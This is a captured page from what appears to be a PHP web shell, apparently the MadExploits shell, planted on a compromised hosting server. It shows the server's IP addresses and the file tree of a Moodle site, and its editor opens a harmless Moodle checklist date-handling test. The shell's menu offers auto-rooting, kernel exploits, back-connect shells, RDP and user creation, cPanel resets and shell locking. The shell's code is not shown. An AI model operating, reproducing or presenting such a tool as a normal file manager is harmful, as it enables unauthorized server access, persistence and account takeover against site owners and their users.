Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.201
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
checklist /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
dates_test.php
4.24
KB
-rw-r--r--
group_completion_email_test.ph...
9.88
KB
-rw-r--r--
privacy_provider_test.php
24.57
KB
-rw-r--r--
student_comment_test.php
9.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dates_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Test date handling * * @package mod_checklist * @copyright 2019 Davo Smith, Synergy Learning * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_checklist; /** * Class dates_test * @package mod_checklist * @coversNothing */ class dates_test extends \advanced_testcase { /** * Set up steps */ public function setUp(): void { $this->resetAfterTest(); } /** * Test importing checklist items * @throws \base_plan_exception * @throws \base_setting_exception * @throws \coding_exception * @throws \dml_exception * @throws \restore_controller_exception */ public function test_import(): void { global $DB, $CFG; require_once($CFG->dirroot.'/backup/util/includes/backup_includes.php'); require_once($CFG->dirroot.'/backup/util/includes/restore_includes.php'); $gen = self::getDataGenerator(); /** @var \mod_checklist_generator $cgen */ $cgen = $gen->get_plugin_generator('mod_checklist'); // Create 2 courses, with differening start dates. $c1 = $gen->create_course(['startdate' => strtotime('2019-04-10T12:00:00Z')]); $c2 = $gen->create_course(['startdate' => strtotime('2019-04-11T12:00:00Z')]); // Create a checklist in course 1, with some dates associated with the items. $chk = $cgen->create_instance(['course' => $c1->id]); $iteminfos = [ (object)[ 'displaytext' => 'Item 1', 'duetime' => strtotime('2019-05-14T12:00:00Z'), ], (object)[ 'displaytext' => 'Item 2', 'duetime' => strtotime('2019-05-15T12:30:00Z'), ], (object)[ 'displaytext' => 'Item 3', ], ]; $position = 1; foreach ($iteminfos as $iteminfo) { $item = new \mod_checklist\local\checklist_item(); $item->checklist = $chk->id; $item->userid = 0; $item->displaytext = $iteminfo->displaytext; $item->position = $position++; $item->duetime = $iteminfo->duetime ?? null; $item->insert(); } // Import the checklist from c1 to c2. $bc = new \backup_controller(\backup::TYPE_1COURSE, $c1->id, \backup::FORMAT_MOODLE, \backup::INTERACTIVE_NO, \backup::MODE_IMPORT, get_admin()->id); $backupid = $bc->get_backupid(); $bc->execute_plan(); $bc->destroy(); make_backup_temp_directory($backupid, false); $rc = new \restore_controller($backupid, $c2->id, \backup::INTERACTIVE_NO, \backup::MODE_IMPORT, get_admin()->id, \backup::TARGET_EXISTING_ADDING); $setting = $rc->get_plan()->get_setting('course_startdate'); $setting->set_value($c2->startdate); $rc->execute_precheck(); $rc->execute_plan(); $rc->destroy(); // Check the checklist in c2. $chk2 = $DB->get_record('checklist', ['course' => $c2->id], '*', MUST_EXIST); $items = $DB->get_records('checklist_item', ['checklist' => $chk2->id], 'position'); $this->assertCount(3, $items); list($item1, $item2, $item3) = array_values($items); $this->assertEquals(strtotime('2019-05-15T12:00:00Z'), $item1->duetime, 'Actual date: '.date('c', $item1->duetime)); $this->assertEquals(strtotime('2019-05-16T12:30:00Z'), $item2->duetime, 'Actual date: '.date('c', $item2->duetime)); $this->assertEquals(0, $item3->duetime); } }
Close